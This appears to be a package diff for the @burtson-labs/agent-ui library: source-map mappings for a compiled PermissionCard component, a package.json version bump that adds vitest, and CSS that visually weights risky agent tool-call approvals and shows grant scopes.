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"}
1
+ {"version":3,"file":"PermissionCard.js","sourceRoot":"","sources":["../../src/components/PermissionCard.tsx"],"names":[],"mappings":"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"}
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@burtson-labs/agent-ui",
3
- "version": "1.0.16",
3
+ "version": "1.0.18",
4
4
  "author": {
5
5
  "name": "Burtson Labs",
6
6
  "email": "team@burtson.ai",
@@ -33,8 +33,8 @@
33
33
  "highlight.js": "^11.10.0",
34
34
  "markdown-it": "^14.2.0",
35
35
  "morphdom": "^2.7.4",
36
- "@burtson-labs/core-chat": "1.0.8",
37
- "@burtson-labs/agent-core": "1.6.19"
36
+ "@burtson-labs/core-chat": "1.0.10",
37
+ "@burtson-labs/agent-core": "1.6.21"
38
38
  },
39
39
  "peerDependencies": {
40
40
  "@emotion/react": ">=11.0.0",
@@ -48,8 +48,10 @@
48
48
  "@types/markdown-it": "^14.1.2",
49
49
  "@types/react": "19.2.2",
50
50
  "clsx": "^2.1.0",
51
+ "happy-dom": "^19.0.2",
51
52
  "react": "19.2.0",
52
- "react-dom": "19.2.0"
53
+ "react-dom": "19.2.0",
54
+ "vitest": "^4.0.10"
53
55
  },
54
56
  "keywords": [
55
57
  "ai",
@@ -70,6 +72,7 @@
70
72
  "build": "tsc -p tsconfig.build.json",
71
73
  "dev": "tsc -p tsconfig.build.json --watch",
72
74
  "lint": "eslint \"src/**/*.{ts,tsx}\"",
73
- "clean": "rm -rf dist"
75
+ "clean": "rm -rf dist",
76
+ "test": "vitest run"
74
77
  }
75
78
  }
@@ -2414,6 +2414,48 @@
2414
2414
  min-width: 0;
2415
2415
  overflow-wrap: anywhere;
2416
2416
  }
2417
+ /* Tier weighting. Users approve dozens of cards a session; if a delete looks
2418
+ identical to a file read, the card stops being read at all. Routine calls
2419
+ recede, critical ones take the error color and a rule to break the scan. */
2420
+ .permission-card__risk--routine .permission-card__risk-label {
2421
+ color: var(--agent-ui-text-dim, rgba(148, 163, 184, 0.85));
2422
+ }
2423
+ .permission-card__risk--critical {
2424
+ padding: 0.35rem 0.55rem;
2425
+ border-left: 3px solid var(--agent-ui-error, #f87171);
2426
+ background: color-mix(in srgb, var(--agent-ui-error, #f87171) 10%, transparent);
2427
+ border-radius: 4px;
2428
+ }
2429
+ .permission-card__risk--critical .permission-card__risk-label {
2430
+ color: var(--agent-ui-error, #f87171);
2431
+ }
2432
+
2433
+ /* Blast radius per grant scope, shown under the buttons rather than hidden in
2434
+ a tooltip — the whole point is that the user reads it BEFORE clicking. */
2435
+ .permission-card__scopes {
2436
+ margin: 0.5rem 0 0.15rem;
2437
+ display: flex;
2438
+ flex-direction: column;
2439
+ gap: 0.2rem;
2440
+ font-size: 0.78em;
2441
+ line-height: 1.4;
2442
+ color: var(--agent-ui-text-dim, rgba(148, 163, 184, 0.85));
2443
+ }
2444
+ .permission-card__scope {
2445
+ display: flex;
2446
+ gap: 0.45rem;
2447
+ align-items: baseline;
2448
+ }
2449
+ .permission-card__scope-key {
2450
+ flex: 0 0 auto;
2451
+ min-width: 1em;
2452
+ font-variant-numeric: tabular-nums;
2453
+ opacity: 0.75;
2454
+ }
2455
+ .permission-card__scope-text {
2456
+ min-width: 0;
2457
+ overflow-wrap: anywhere;
2458
+ }
2417
2459
  .permission-card__preview {
2418
2460
  margin: 0.5rem 0 0.6rem;
2419
2461
  padding: 0.5rem 0.75rem;